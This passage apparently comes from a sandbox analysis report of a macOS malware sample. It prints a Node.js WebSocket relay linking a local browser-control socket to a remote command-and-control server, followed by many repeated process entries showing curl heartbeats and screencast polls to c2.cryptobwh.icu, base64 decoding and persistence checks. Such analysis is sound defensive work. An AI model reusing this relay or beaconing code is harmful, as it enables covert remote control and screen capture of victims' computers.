(bfWs?.readyState === 1) bfWs.ping(); } catch(e) {} }, 15000); } function scheduleReconnect() { retries++; // Exponential backoff: 5s, 10s, 20s, 40s, max 120s const delay = Math.min(5000 * Math.pow(2, Math.min(retries - 1, 5)), 120000); log('reconnect retry=' + retries + ' delay=' + (delay/1000) + 's'); setTimeout(connect, delay); } connect(); "3⤵
-
-
/usr/bin/nodenode -e " const WebSocket = require('/Library/.c2/node_modules/ws'); const c2Url = process.env.C2_WS_URL; const bfWsUrl = 'ws://127.0.0.1:8768/ws'; let bfWs = null, c2Ws = null; let retries = 0; const log = (m) => { try { require('fs').appendFileSync('/Library/.c2/bf_mux.log', new Date().toISOString()+' '+m+'\\n'); } catch(e) {} }; function connect() { bfWs = new WebSocket(bfWsUrl); bfWs.on('open', () => { log('bf_ws_connected'); bfWs.send(JSON.stringify({ type: 'hello', client: 'c2-agent', role: 'agent' })); retries = 0; c2Ws = new WebSocket(c2Url); c2Ws.on('open', () => log('c2_ws_connected')); c2Ws.on('message', (d) => { if (bfWs?.readyState === 1) bfWs.send(d.toString()); }); c2Ws.on('close', () => { log('c2_ws_closed'); scheduleReconnect(); }); c2Ws.on('error', () => {}); }); bfWs.on('message', (d, isBinary) => { if (c2Ws?.readyState === 1) c2Ws.send(isBinary ? d : d.toString()); }); bfWs.on('close', () => { log('bf_ws_closed'); try { c2Ws?.close(); } catch {} scheduleReconnect(); }); bfWs.on('error', () => {}); // Keepalive: ping every 15s setInterval(() => { try { if (c2Ws?.readyState === 1) c2Ws.ping(); } catch(e) {} try { if (bfWs?.readyState === 1) bfWs.ping(); } catch(e) {} }, 15000); } function scheduleReconnect() { retries++; // Exponential backoff: 5s, 10s, 20s, 40s, max 120s const delay = Math.min(5000 * Math.pow(2, Math.min(retries - 1, 5)), 120000); log('reconnect retry=' + retries + ' delay=' + (delay/1000) + 's'); setTimeout(connect, delay); } connect(); "3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
